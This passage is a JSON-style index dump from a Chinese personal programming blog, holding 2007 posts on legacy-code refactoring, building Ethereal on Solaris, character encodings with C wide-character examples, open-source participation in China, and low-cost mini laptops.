Code\u0026quot;，所以我已经开始迫不及待的想看完这本书了。但是翻看一些后，我觉得作为使用C的开发者独观其大略即可。为什么呢？书中代码多以面向对象的语言Java或C++作为例子代码，很多细节对使用结构化语言的开发者意义不大。毕竟结构化的思想与面向对象的思想有着较大的差别。\n作者提出来的修改软件的四个起因基本上大家都是应该认同的：\n(1) 添加新特性；\n(2) 修正bug；\n(3) 改善设计；\n(4) 优化资源使用。\n同时作者又给出了为了减少修改行为带来的风险而应该考虑的三个问题：\n(1) 我们要进行哪些修改？\n(2) 我们如何得知已经正确地完成了修改？\n(3) 我们如何得知没有破坏任何(既有的)东西？\n在第一部分第二章的最后作者给出了一个解决这些问题的算法：\n以下算法可以用于对遗留代码基进行修改：\n(1) 确定改动点；\n(2) 找出测试点；\n(3) 解依赖；\n(4) 编写测试；\n(5) 修改、重构。\n看完这些我觉得就可以直接进入第二部分了，作者给出了细致的、具体的面对不同情形应该如何去做。建议：在读每一个章节之前先回顾一下自己是否遇到过类似情形，自己当时是如何做的，当时的做法是否有改善的地方，哪些是值得发扬广大的，哪些是应该摒弃的，如果是现在我还会如何去做？之后，再看看Michael Feathers是如何去做的，这样效果应该是很好的。有如下这些情形值得我们去考虑：\n(1) I Don’t Have Much Time and I Have to Change It 时间紧迫，但必须修改\n(2) It Takes Forever to Make a Change 漫长的修改\n(3) How Do I Add a Feature? 添加特性\n(4) I Can’t Get This Class into a Test Harness 无法将类放入测试用具中\n(5) I Can’t Run This Method in a Test Harness 无法在测试用具中运行方法\n(6) I Need to Make a Change. What Methods Should I Test? 修改时应当测试哪些方法\n(7) I Need to Make Many Changes in One Area. Do I Have to Break Dependencies for All the Classes Involved? 在同一地进行多处修改，是否应该将相关的所有类都解依赖\n(8) I Need to Make a Change, but I Don’t Know What Tests to Write 修改时应该怎样写测试 (9) Dependencies on Libraries Are Killing Me 棘手的库依赖问题\n(10) My Application Is All API Calls 到处都是API调用 (11) I Don’t Understand the Code Well Enough to Change It 对代码的理解不足\n(12) My Application Has No Structure 应用毫无结构可言\n(13) My Test Code Is in the Way 测试代码碍手碍脚 (14) My Project Is Not Object Oriented. How Do I Make Safe Changes? 对非面向对象的项目，如何安全地对它进行修改\n(15) This Class Is Too Big and I Don’t Want It to Get Any Bigger 处理大类\n(16) I’m Changing the Same Code All Over the Place 需要修改大量相同的代码\n(17) I Need to Change a Monster Method and I Can’t Write Tests for It 要修改一个巨型方法，却没法为它编写测试\n(18) How Do I Know That I’m Not Breaking Anything? 降低修改的风险\n(19) We Feel Overwhelmed. It Isn’t Going to Get Any Better 当你感到绝望时\n当你看到这些具体情形的列表，眼前是否浮现出是曾相识的经历呢？\u0026ldquo;代码修改艺术\u0026quot;应该说是一本实用主义的书，如果你是使用面向对象语言的程序员，那你很幸运，建议你将一本\u0026quot;修改代码的艺术\u0026quot;放在你的办工桌旁，随时翻看、思考和领悟；如果你和我一样是结构化语言的使用者，也没有关系，观其大略，品其思想，细读你兴致之所在。\n以上的书中文字的中文翻译部分摘自于刘未鹏的中文译文。\n","permalink":"https://tonybai.com/2007/11/09/know-its-general-aspects-when-reading-working-effectively-with-legacy-code/","summary":"\u003cp\u003e早在几个月前就从网上下载到了\u0026quot;Working Effectively With Legacy Code\u0026quot;这本书的E版，之所以下这本书是因为看到了\u0026quot;Legacy Code\u0026quot;这两个单词了，说实话当时我并不知晓这本书的价值，只是想当然的认为：这本书可能会有助我改善我所从事的项目中的\u0026quot;Legacy Code\u0026quot;。早在上个月去逛书店时，就看到了书架上的这本\u0026quot;修改代码的艺术\u0026quot;，遗憾的是没有给予足够关注。在最近看到这本书译者\u003ca href=\"http://blog.csdn.net/pongba\"\u003e刘未鹏\u003c/a\u003e的博客以及\u003ca href=\"http://dreamhead.blogbus.com/\"\u003eDreamhead\u003c/a\u003e关于这本书的评价后，才又从电脑中找到这本书开始翻看。从与这本书几次\u0026quot;擦身而过\u0026quot;的经历来看，自己识书的能力实在是差劲。\u003c/p\u003e","title":"读'代码修改艺术'，可观其大略"},{"content":"自从上次\u0026rsquo;编译Ethereal On Windows\u0026lsquo;之后，好久没有接触Ethereal了，前期策划的基于Ethereal开发的一个工具的任务就落到了这批来的一个新员工的头上了。第一阶段他在Windows上开发了一个基于Ethereal的插件用于分析CMPP协议之用；第二个阶段我们需要移植到Unix上，我们使用的是Solaris。\n目标机器是一个x86的Solaris10的系统，首先是将Ethereal依赖的所有开源包都先装上。开源的唯一不好的一点就是互相依赖太多，像Ethereal这样规模的软件，依赖的包不下十几种。这里我们用的源码包是ethereal-0.99.0。按照常规编译软件包的方法：解包=\u0026gt;进入Ethereal目录=\u0026gt;执行./configure =\u0026gt; make。\n如果想一次make成功显然是不太可能的。\n我的那个新同事第一次make得到如下结果：\nlibtool: link: only absolute run-paths are allowed，他查找了好久，终于\u0026quot;投降\u0026quot;了。由于是新同事对Unix上繁芜复杂的操作不了解也是情有可原的，亲自出马吧。\n我对libtool同样是不熟悉，到网上找答案吧。网上关于这个错误的解释太少了。只能用\u0026quot;only absolute run-paths are allowed\u0026quot;在libtool这个脚本文件里搜索，果然找到了，有两个地方有这样的echo输出。大致检查了一下，基本定位问题所在：在libtool执行的语句中，有类似\u0026quot;-R../lib\u0026quot;这样的参数选项，显然这个\u0026quot;../lib\u0026quot;不是一个绝对路径，我们需要针对这个地方进行一下手工修改。\n目标就是Makefile文件。打开Makefile搜寻\u0026quot;../lib\u0026quot;，一共有4处，分别在SNMP_LIBS、ethereal_LDADD、tethereal_LDADD和dftest_LDADD的定义中，在其中删除\u0026quot;-R../lib\u0026quot;或者为-R指定一个绝对路径即可。\n问题解决，继续Make。还是没有过去，提示：在\u0026quot;/usr/sfw/lib/.libs下找不到libnetsnmp.so\u0026quot;，Makefile中明明配置的是/usr/sfw/lib，且该路径下存在libnetsnmp.so，为什么libtool非要到\u0026quot;/usr/sfw/lib/.libs\u0026quot;下找呢？libtool就是这样一个怪脾气，没办法，创建/usr/sfw/lib/.libs路径，并将libnetsnmp.so拷贝进去，在Make这块就过去了。\n问题仍然层出不穷，程序在链接tethereal的时候，提示：ld: fatal: Symbol referencing errors. No output written to .libs/tethereal\nUndefined first referenced\nsymbol in file\ngsm_a_pd_str tap-gsm_astat.o\nRegistrationRejectReason_vals tap-h225counter.o\nregister_all_protocol_handoffs tethereal.o\n继续在网上搜索，还好有类似的问题别人也遇到了，解决方法：将epan/dissectors/.libs/libdissectors.a加到Makefile中多个变量的定义中。下面是详细的修改：\n(1)\ntethereal_additional_libs = \\\nwiretap/libwiretap.la \\\nepan/libethereal.la\n=\u0026gt;\ntethereal_additional_libs = \\\nwiretap/libwiretap.la \\\nepan/libethereal.la \\\nepan/dissectors/.libs/libdissectors.a \\\n(2)\ndftest_additional_libs = \\\nwiretap/libwiretap.la \\\nepan/libethereal.la \\\n=\u0026gt;\ndftest_additional_libs = \\\nwiretap/libwiretap.la \\\nepan/libethereal.la \\\nepan/dissectors/.libs/libdissectors.a\n(3)\ndumpcap_LDADD = \\\n$(dumpcap_additional_libs) \\\n-lgmodule-2.0 -lglib-2.0 \\\n-lpcap\n=\u0026gt;\ndumpcap_LDADD = \\\n$(dumpcap_additional_libs) \\\n-lgmodule-2.0 -lglib-2.0 \\\n-lpcap -lsocket -lnsl\n(4)\nethereal_additional_libs = \\\ngtk/libui.a \\\nwiretap/libwiretap.la \\\nepan/libethereal.la \\\n=\u0026gt;\nethereal_additional_libs = \\\ngtk/libui.a \\\nwiretap/libwiretap.la \\\nepan/libethereal.la \\\nepan/dissectors/.libs/libdissectors.a \\\n这回你再make，哇，编译成功了。\n然后敲入make install安装这个ethereal，在Windows上启动Xmanager(trial版)，连接到目标服务器，用root登录(如果没有root权限，是看不到网卡的，也就不能进行协议分析了)。进入/usr/local/bin，在这里我只发现了tethereal这个程序，执行起来也没有问题，但是那个图形界面的ethereal哪里去了。翻看install的日志，发现根本没有安装ethereal。怎么回事？\n继续网上找答案，很快答案找到了：是否编译安装ethereal是configure决定的。在configure的执行日志我看到：\nThe Ethereal package has been configured with the following options.\nBuild ethereal : no\nBuild tethereal : yes\nBuild capinfos : yes\nBuild editcap : yes\nBuild dumpcap : yes\nBuild mergecap : yes\nBuild text2pcap : yes\nBuild idl2eth : yes\nBuild randpkt : yes\nBuild dftest : yes\n显然Build ethereal : no。网上的理由是：GTK+版本安装不当。从configure日志看到：\nchecking for GTK+ – version \u0026gt;= 2.0.0… no\n*** Could not run GTK+ test program, checking why…\n*** The test program failed to compile or link. See the file config.log for the\n*** exact error that occured. This usually means GTK+ is incorrectly installed.\n这时只能重新检查GTK+，甚至是重新安装GTK+。\n搞定这个后，再重新configure，注意别忘了备份上述对Makefile的修改，否则configure会覆盖你的成果。之后的工作这里就不说了。\n","permalink":"https://tonybai.com/2007/11/08/some-notice-about-building-ethereal-on-solaris/","summary":"\u003cp\u003e自从上次\u0026rsquo;\u003ca href=\"http://tonybai.com/2006/12/30/build-ethereal-on-windows/\"\u003e编译Ethereal On Windows\u003c/a\u003e\u0026lsquo;之后，好久没有接触Ethereal了，前期策划的基于Ethereal开发的一个工具的任务就落到了这批来的一个新员工的头上了。第一阶段他在Windows上开发了一个基于Ethereal的插件用于分析CMPP协议之用；第二个阶段我们需要移植到Unix上，我们使用的是Solaris。\u003c/p\u003e","title":"在Solaris上编译Ethereal的注意事项"},{"content":"以前真的未就计算字符编码有过什么深入的学习探究，这次学习也是源于客户的一次投诉。客户的投诉简要来说就是：我们的网关在截断客户发的长度越限的短信内容时，导致该短信在终端上显示为乱码。顺着这个起因，我花了一些时间概要性的学习了一些关于计算机字符编码的常识性知识。\n字符，这个我们在平时编码过程中最最常见的元素，其实也有着一段小故事。\n计算机，毫无疑问是一部机器，在最初我们接触计算机时或者接收计算机教育时，我们就知道：计算机能识别的只有010101的二进制码。人与计算机交互早期也是用的是二进制方式，当时人们或通过扳动计算机庞大的面板上无数的开关来向计算机输入信息，或使用打孔卡片来向计算机输入指令和数据。终端和键盘组成的字符人机界面的诞生让人们大大提高了与计算机的交互效率。这里提到了\u0026rsquo;字符\u0026rsquo;，那么什么是\u0026rsquo;字符\u0026rsquo;？说的通俗些：字符就是人们使用的记号，抽象意义上的一个符号。比如阿拉伯数字1，这就是一个符号，这个符号的抽象含义：1代表一种数量的概念，关于1这个抽象概念是如何诞生的，有兴趣的人可以去翻阅一下类似数学史之类科普书籍。\n人类的记号五花八门，包括国家文字、标点符号、图形符号、数字等。这些在计算机领域会被统称为\u0026rsquo;字符\u0026rsquo;。而所有字符的集合就被称为\u0026rsquo;字符集\u0026rsquo;。有了\u0026rsquo;字符\u0026rsquo;概念，那么在计算机中如何表示\u0026rsquo;字符\u0026rsquo;呢？前文提到了计算机中都是用二进制bit来交流的，\u0026lsquo;字符\u0026rsquo;也只能建筑在bit的基础上。多少bit表示一个字符合适呢？或者说我们的字符集有多大呢？如果字符集里只有8个字符，那么我用3个bit的组合就可以将这些字符都表示和识别出来。想当年美国人也在考虑这个问题，不过美国人想当然的就认为：所有能用到的有现实意义的字符不超过256个，当时美国人也只用到了128个，预留128个备用，而256个字符的字符集用8bit就可以表示，这就是举世闻名的美国标准信息交换代码( American Standard Code for Information Interchange, ASCII)。而这8bit恰与计算机中的基本存储数据单元-\u0026lsquo;字节\u0026rsquo;的位个数相同，这样一个字节就恰可以表示一个ASCII字符了。如：ASCII字符\u0026rsquo;A\u0026rsquo;的内存位模式：0×41。\n这里提到了一个\u0026rsquo;编码\u0026rsquo;的概念，上面提到的ASCII就是众多字符编码规范中的一种，最早的一种，最重要的一种。那么什么是字符编码呢？回顾一下ASCII在制订的时候都做了哪些事：\n规定用8bit即一个字节来表示一个ASCII字符； 制定了ASCII字符表，即该字符集中的每个字符对应的位模式。如：ASCII字符\u0026rsquo;B\u0026rsquo;的内存位模式：0×42，\u0026lsquo;1\u0026rsquo;的内存位模式：0×31。 由此看来一个字符编码规范要做两件事：\n规定这个字符集中的字符用多少字节来表示； 制订该字符编码集的字符表，即该字符集中每个字符对应的位模式\n1)和2)这两个规定合在一起就是编码。 随着计算机的普及，世界各国都开始使用计算机，但是对于非英语国家如中、日、韩等来说，ASCII码是远远不能满足本国人的需要的，我中华文明渊源五千年，这五千年来积淀下来的文明怎是这256个字符(精确的说是128个字符)所能表达出来的。我们也要制定自己的编码，同样日本人、韩国人也都是这么做的。这样一来，世界范围内就多了诸如GB2312、BIG5、JIS等局限于某个国家或地区使用的本地化编码标准，这些编码标准被统称为：ANSI编码。这些ANSI编码有一些共同的特点：\n每种ANSI编码或者说ANSI字符集只规定自己国家或地区使用的语言所需的\u0026rsquo;字符\u0026rsquo;；比如中文GB-2312编码中就不会包含韩国人的文字。 ANSI字符集的空间都比ASCII要大很多，一个字节已经不够，绝大多数都使用了多字节的存储方案。 ANSI编码一般都会兼容ASCII码。 ANSI的出现让计算机迅速普及到世界的每个角落，每个国家都利用上了这样的先进的工具提高了自己的生产力。打开Windows记事本，\u0026ldquo;另存为\u0026quot;对话框的\u0026quot;编码\u0026quot;下拉框中有ANSI编码，在简体中文系统下，ANSI编码代表GB2312编码，在日文操作系统下，ANSI 编码代表 JIS 编码。但是随着互联网的兴起，问题出现了。由于ANSI码的第一个特点：各个国家或地区在编制自己的ANSI码时并未考虑到其他国家或地区的ANSI码，导致编码空间有重叠，比如：汉字\u0026rsquo;中\u0026rsquo;的GB编码是[0xD6,0xD0]，这个编码在JIS中是什么呢，我不知道，我也不愿意去查那些稀奇古怪的鬼子文，但我可以肯定的是肯定不是\u0026rsquo;中\u0026rsquo;这个字符了，虽然鬼子的语言文字中抄袭了大量的汉文字。这样一来当在不同ANSI编码系统之间进行信息交换和展示的时候，乱码就不可避免了。\n为了使国际间信息交流更加方便，Unicode字符集编码诞生。Unicode是Universal Multiple-Octet Coded Character Set的缩写，中文含义是\u0026quot;通用多八位编码字符集\u0026rdquo;。它是由一个名为 Unicode学术学会(Unicode Consortium)的机构制订的字符编码系统，Unicode目标是将世界上绝大多数国家和的确的文字、符号都编入其字符集，它为每种语言中的每个字符设定了统一并且唯一的二进制编码(位模式)，以满足跨语言、跨平台进行文本转换、处理的要求，以达到支持现今世界各种不同语言的书面文本的交换、处理及显示的目的，使世界范围人们通过计算机进行信息交换时达到畅通自如而无障碍。说白了Unicode编码就是先将世界上存在的绝大多数常用字符纳入Unicode字符集，然后进行统一排号。而每个Unicode字符的编码(位模式)就是该字符在Unicode字符表中的序号，所以与上面提到的ANSI编码不同的是，一个Unicode字符的编码用的是一个整数表示，而这个整数的长度通常\u0026gt;= 2个字节。这样Unicode编码在不同平台存储时就要注意其字节序了。比如：采用标准Unicode编码的\u0026rsquo;中\u0026rsquo;在Windows上的存储就是'2D4E\u0026rsquo;，而在SPARC Solaris上的存储则是'4E2D\u0026rsquo;。\n上面提到了标准Unicode编码，难道还有其他Unicode编码方式，的确，Unicode的出现的确使我们在统一计算机编码过程中迈出的一大步，但是毕竟Unicode诞生才10几年，这之前大家一直使用ASCII码，一直使用各自的ANSI编码。要想一次性将全世界的计算机系统都统一改为Unicode编码，可能性不大。那么现在越来越多的新系统都开始支持并使用Unicode，这些新系统与旧系统之间如何交换数据其实是首要难题。于是一个新名词又诞生了，那就是UTF, Unicode Translation Format，即把Unicode转做某种格式的意思。为什么要转换成某种格式呢？转换是为了传输和交换。一种好的UTF-x方案应该便于在不同的计算机之间使用网络传输不同语言和编码的文字，使得标准双字节的Unicode能够在现存的处理单字节的系统上正确传输。目前比较常见的UTF方案有三种：\nUTF-16：其本身就是标准的Unicode编码方案，又称为UCS-2，它固定使用16 bits(两个字节)整数来表示一个字符。\nUTF-32：又称为UCS-4，它固定使用32 bits(四个字节)整数来表示一个字符。\nUTF-8：最广泛的使用的UTF方案，UTF-8使用可变长度字节来储存Unicode字符，例如ASCII字母继续使用1字节储存，重音文字、希腊字母或西里尔字母等使用2字节来储存，而常用的汉字就要使用3字节。辅助平面字符则使用4字节。UTF-8更便于在使用Unicode的系统与现存的单\n字节的系统进行数据传输和交换。与前两个方案不同：UTF-8以字节为编码单元，没有字节序的问题。\nUTF有三种方案，那么如何在接收数据和存储数据时识别数据和指导识别数据采用的是哪个方案呢？在UTF编码方案中有一个叫做\u0026quot;ZERO WIDTH NO-BREAK SPACE\u0026quot;的字符，它的编码是FEFF。而FFFE在UCS中是不存在的字符，所以不应该出现在实际传输或存储中。UCS规范建议我们在传输或存储字节流前，先传输字符\u0026quot;ZERO WIDTH NO-BREAK SPACE\u0026quot;。这样根据识别前面的\u0026quot;ZERO WIDTH NO-BREAK SPACE\u0026quot;即可识别编码方案：\nEF BB BF UTF-8\nFE FF UTF-16/UCS-2, little endian\nFF FE UTF-16/UCS-2, big endian\nFF FE 00 00 UTF-32/UCS-4, little endian.\n00 00 FE FF UTF-32/UCS-4, big-endian.\n以上是简略的字符编码的基本知识。下面将编码与具体的编程语言结合起来进行更直观的学习。这里还是以C语言举例。\nC语言定义了两个字符集(character set)：源代码字符集(source character set)是用于组成C源代码的字符集合，而运行字符集(execution character set)是可以被执行程序解释的字符集合。应用程序都有自己的执行字符集，也就说在应用程序执行过程中使用什么字符集或字符编码来识别各种数据存储介质中的bit流。\n[Example1]\n/* testwprintf.c , windows xp, mingw gcc-3.4.2 */\nint main() {\nwchar_t ws[] = L\u0026quot;中文\u0026quot;; — (1)\nwprintf(L\u0026quot;%s\\n\u0026quot;, ws);\n}\n编译该程序gcc编译器提示：(1)这行：converting to execution character set: Illegal byte sequence\n为什么转换失败呢？我们看到程序中使用了宽字符常量。这里先插入一段C语言的小故事：多字节字符和宽字节字符。\nC语言原本是在英文环境中设计的，主要的字符集是ASCII字符。但是国际化软件必须能够表示不同的字符，而这些字符数量庞大，无法使用一个字节编码，于是在1994年，\u0026ldquo;Normative Addendum 1\u0026rdquo;(基准增补一)的采用，让ISO C可以标准化两种表示大型字符集的方法：宽字符(wide character，该字符集内每个字符使用相同的位长)以及多字节字符(multibyte character，每个字符可以是一到多个字节不等，而某个字节序列的字符值由字符串或流(stream)所在的环境背景决定)。自从1994 年的增补之后，C不只提供char类型，还提供wchar_t类型(宽字符)。虽然此次C标准仍没有支持Unicode字符集，但许多实现版本使用Unicode转换格式UTF-16和UTF-32来处理宽字符(我遇到的mingw gcc用的是UTF-16, Sun Sparc Gcc用的则是UTF-32)，也就是说在大部分标准C实现版本中，默认的一个wchar_t就是一个unicode字符，一个宽字符实际上就是一个unicode字符，一个宽字符常量字符串(L\u0026quot;…\u0026quot;)实际上是一个unicode编码的常量字符串。这样我们来解释上面的问题。\n上面程序中编译器在遇到宽字符常量：L\u0026quot;中文\u0026quot;时，试图将之转换成unicode码存储，mingw gcc试图使用默认的源代码符号集-\u0026gt;unicode的转码方式转换\u0026quot;中文\u0026quot;这个字面量的二进制位模式到unicode位模式，但却发现\u0026quot;中文\u0026quot;这个字面量的位模式不能识别，这就需要我们在外部告知gcc我们的这个\u0026quot;中文\u0026quot;字面量的位模式是GB2312的，我们使用：gcc -finput-charset=GB2312 testwprintf.c就能解决这一问题了。\n好了，编译完了。我们来执行一下a.exe，但却发现在控制台没有任何输出，又出现什么问题了呢？分析一下：目前我们的ws中使用的位模式是unicode编码位模式，哇，原来wprintf并不支持直接输出:unicode编码。类似:printf, wprintf等输出到控制台或者文件的库函数只支持ANSI编码或多字节编码输出。其实这是符合C语言规范的，因为C标准并未支持Unicode，只是很多C的实现将宽字符用unicode的位模式表示罢了。这时我们需要通过setlocale函数来设置如何将unicode编码的宽字符转换成一种可以输出的编码。\n[Example2]\n/* testwprintf.c , windows xp, mingw gcc-3.4.2 */\nint main() {\nwchar_t ws[] = L\u0026quot;中文\u0026quot;;\nsetlocale(LC_ALL, \u0026ldquo;chs\u0026rdquo;); /* 设置gb码, unix上没有\u0026quot;chs\u0026quot;这样的locale，unix上可通过locale -a查 */\nwprintf(L\u0026quot;%s\\n\u0026quot;, ws);\n}\nsetlocale(…)只在运行时起作用，这样编译执行后，\u0026ldquo;中文\u0026quot;二字就会显示在我们的控制台上了。\n当然了我们还可以通过标准库调用将宽字符手动转成ANSI字符后再直接输出。\n[Example3]\n/* testwprintf.c , windows xp, mingw gcc-3.4.2 */\nint main() {\nwchar_t ws[] = L\u0026quot;中文\u0026rdquo;;\nchar ms[12];\nmemset(\u0026amp;ms, 0, sizeof(ms));\nsetlocale(LC_ALL, \u0026ldquo;chs\u0026rdquo;); /* 设置gb码, unix上没有\u0026quot;chs\u0026quot;这样的locale，unix上可通过locale -a查 */\nwcstombs(ms, ws, sizeof(ms));\nprintf(\u0026quot;%s\\n\u0026quot;, ms);\n}\n编译执行后，\u0026ldquo;中文\u0026quot;二字同样跃然纸上。wcstombs是将宽字符串按照setlocale设置的编码转成指定的ANSI编码字符串；而mbstowcs则是按照etlocale设置的编码将将多字节字符串转换成unicode编码存储在宽字符串中。前者调用setlocale是指导目标编码的；后者调用setlocale的作用是指导如何将源字符串翻译成目的unicode字符串的。类似的还有字符级别的标准函数:wctomb和mbtowc。\n关于字符编码转换，其实有很多好用的开源工具包可用，比如著名的iconv，自己平时很少会去实现一个编码转换。学习以上知识只是为了让自己再遇到乱码问题的时候不再迷糊，而且对计算机字符编码知识有一个概念上的了解是必要的且大有裨益的。\n","permalink":"https://tonybai.com/2007/11/03/also-talk-about-char-encoding/","summary":"\u003cp\u003e以前真的未就计算字符编码有过什么深入的学习探究，这次学习也是源于客户的一次投诉。客户的投诉简要来说就是：我们的网关在截断客户发的长度越限的短信内容时，导致该短信在终端上显示为乱码。顺着这个起因，我花了一些时间概要性的学习了一些关于计算机字符编码的常识性知识。\u003c/p\u003e","title":"也谈计算机字符编码"},{"content":"中午在CSDN上看到一则新闻，说的是\u0026quot;中国开源社区热潮背后 缺少奉献型人才\u0026quot;，看完后有些感触，也就想在这里说两句。\n谈到为开源项目奉献，我认为首先要具备三个条件：\n1、投身开源的热情，即有奉献的意愿；\n2、参与开源的技术能力，这里是指能参与到某开源项目核心或主力开发行列的能力；当然你要说参与开源的形式是多样的。如提交一个bug，辅助做一个模块测试同样也是为开源奉献，这里我也不否定，见仁见智。\n3、时间与精力，无后顾之忧或者说生存之忧患。\n我认为在中国绝不缺乏符合前两个条件的程序员，而且应该为数不少。中国程序员是愿意奉献的，也是有能力奉献的，但是中国程序员太累了，大多数没有足够的时间精力去奉献。\n在与从美国出差回来的同事闲谈中得知了美国程序员的轻松生活。所谓\u0026quot;轻松\u0026quot;无非不愁钱，工作压力小，可自由支配时间多。而这些恰恰是中国程序员所缺少的。大家都知道目前中国软件业发展的确很快，但是不可否认的是中国软件公司多处于软件产业链的低端，技术含量不高，但劳动强度却很大。比如给日本人做外包，日本人是很矫情和苛刻的，当然日本人的质量意识值得我们学习，不过这是题外话了。给日本人做软\n件的一个特点就是要写大量的文档，一个文档不到10页，却要反复的改来改去，改到中国项目经理满意，改到日本人满意。很多人没日没夜的加班其实都做了些什么呢？其实很可能就是在那不到10页的文档上改来改去。我没参与过外包项目，更没有参与过日本外包项目，但是以上都是身边同事的亲身经历，这里我是不敢妄言的。大好的青春时光就这样在没有任何激情和创造力的工作中虚度了。这不能怪我们的程序员，因为我们需要赚钱吃饭。\n中国软件公司的产品中行业产品或项目居多。做过行业软件的人一定知道：做行业软件，一定要懂业务，只有成为行业专家才能有发展。可怜这些程序员了，整天忙于如何熟悉业务，如何满足客户变化多端的需求。做电信或者金融行业软件的人晚上还要配合客户搞升级，解决问题，这样的程序员能不累么。中国程序员虽然累，但是收入却不高，对比蒸蒸日上的房价，物价，利率，曾经的中高收入阶层的程序员也无语了。从学校步入社会后才知道曾经的买房、买车的梦想实现起来也不是那么容易。这样的情况下：程序员也就开始功利化了。做了2年技术羽翼丰满些后，转向管理的，转向销售的，转向行业专家的，转向技术支持的，转向客服的，考公务员以得到轻松生活的，甚至是转行的，都是大有人在的。这也不能怪我们的程序员，因为程序员的父母、老婆、孩子还得吃饭治病啊。\n以上是从一个热爱技术的程序员的角度去分析的，也许这就是中国程序员的众生相。不过每个人有自己的生活方式，大家也不必为了缺少对开源的奉献而感到愧疚，用新名词说：这就是国情，不是我们一己之力可以改变的了的。\n与欧美程序员相比，中国程序员还是很年轻的。在欧美你会见到年龄在40-50岁之间的程序员，而中国这样的程序员早已不写程序而成为管理者了。在公司办公室的座位上环顾四周，你会发现周围都是刚毕业的年轻人，他们有激情，有实力，这说明中国程序员还是很有潜力的。我相信在将来会有越来越多的中国程序员活跃在世界开源软件领域，为之默默奉献。\n附：我知道的中国程序员发起的有影响的开源项目：XRuby, JFox。\n","permalink":"https://tonybai.com/2007/11/02/the-reason-for-not-dedicate/","summary":"\u003cp\u003e中午在CSDN上看到一则新闻，说的是\u0026quot;\u003ca href=\"http://news.csdn.net/n/20071102/110200.html\"\u003e中国开源社区热潮背后 缺少奉献型人才\u003c/a\u003e\u0026quot;，看完后有些感触，也就想在这里说两句。\u003c/p\u003e\n\u003cp\u003e谈到为开源项目奉献，我认为首先要具备三个条件：\u003cbr\u003e\n1、投身开源的热情，即有奉献的意愿；\u003cbr\u003e\n2、参与开源的技术能力，这里是指能参与到某开源项目核心或主力开发行列的能力；当然你要说参与开源的形式是多样的。如提交一个bug，辅助做一个模块测试同样也是为开源奉献，这里我也不否定，见仁见智。\u003cbr\u003e\n3、时间与精力，无后顾之忧或者说生存之忧患。\u003c/p\u003e","title":"不是不奉献"},{"content":"由于公司在郊区，我住在市内，所以每天上下班需要乘坐公司班车。坐班车单程的时间约是35分钟。时间不长但是也不能浪费掉啊。总喜欢在班车高速行驶的过程中思考问题，身体处于高速状态下的我，思维很发散，常常有一些新的想法和心得，这时就想做记录，而手头上唯一能用的就是我的A780手机，这时有人会问为什么不能用纸笔呢？在北方生活的人都知道一般每年这个季节下班的时候天基本已经黑乎乎了，纸笔也\n就发挥不了作用了。而班车在行驶过程中甚是颠簸，用手写输入甚是麻烦。所以我有时在想如果有一款小巧的笔记本随时打开记录或处理一些事情该多好啊。\n以下是我对这种\u0026quot;想象\u0026quot;中的产品的要求：\n– 这款产品一定要小：可以稍微比一本32开书尺寸大些;\n– 启动一定要快，最好10秒内启动;\n– 电池模块尺寸小，最好能像手机电池那么大，这样可以多准备几块以备用;\n– 耗能小，每块电池能坚持至少4个小时(在一般文档操作情况下);\n– 用闪存替代磁盘做存储介质，这样无须担心交通工具的颠簸对机器造成的影响;\n– 能用记事本，能无线上网，简单的收收邮件。\n– 其余功能，集成越多越好，起码集成USB设备应该没问题。^_^\n以前听说过尼葛洛庞帝发起的\u0026quot;百元笔记本\u0026quot;的计划，旨在帮助发展中国家的儿童们也能用的上高科技的工具-计算机，后因种种原因，这个项目产品成本增加到了188美元。而今年5月，这个计划宣布’百元笔记本’的成本为176美元。这样的成本让很多人对该项目可行性产生了怀疑，而这期间由英特尔和华硕共同研发设计、由华硕代工的低价笔记本Classmate的售价也只是200美元。今年6月华硕发布了一款’Eee PC’的低价计算机，售价199美金起，这再次让\u0026quot;百元笔记本\u0026quot;计划陷入两难困境。\n其实这里我到不是想说’百元笔记本’的问题，我是在想其实类似’百元笔记本’的这种小型化的PC不仅仅可以帮助欠发达国家的人，市场上有很多人会对这样的PC十分感兴趣。就如我前面提到的一样，这样的一款产品实际上他的功能已经可以满足很多人的需求了，而且其小型化会给人们生活带来极大的便利。\n以华硕的’Eee-PC’来说，官方给出的规格是：\n屏幕：7寸液晶\n网络：WLAN/WiFi 802.11b/g\n内存：512 DDR2-400MHZ\n磁盘：2G-32G闪存(FLASH)\n电池：3小时\n尺寸：225 x 164 x 21.5mm 890克\n操作系统: Linux 硬件兼容Windows\n这样的机器基本上符合了我的要求，只是启动速度是在1分钟之内，不过比较现有的笔记本也已经是很快了。10月17日该款’Eee-PC’已经在台湾上市了，只是售价还有些高，折合人民币为2750元，大陆上市估计要到下个月底，如果售价能降下来，我想市场反映一定很好。我也期望能早日拥有这样的一个’百元PC’，也希望华硕能够帮助完成对欠发达国家儿童的援助，真正生产出符合他们要求的’百元PC’。\n华硕Eee-PC\nIntel Classmate\n","permalink":"https://tonybai.com/2007/10/25/focus-olpc/","summary":"\u003cp\u003e由于公司在郊区，我住在市内，所以每天上下班需要乘坐公司班车。坐班车单程的时间约是35分钟。时间不长但是也不能浪费掉啊。总喜欢在班车高速行驶的过程中思考问题，身体处于高速状态下的我，思维很发散，常常有一些新的想法和心得，这时就想做记录，而手头上唯一能用的就是我的A780手机，这时有人会问为什么不能用纸笔呢？在北方生活的人都知道一般每年这个季节下班的时候天基本已经黑乎乎了，纸笔也\u003cbr\u003e\n就发挥不了作用了。而班车在行驶过程中甚是颠簸，用手写输入甚是麻烦。所以我有时在想如果有一款小巧的笔记本随时打开记录或处理一些事情该多好啊。\u003c/p\u003e","title":"关注'百元PC'"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 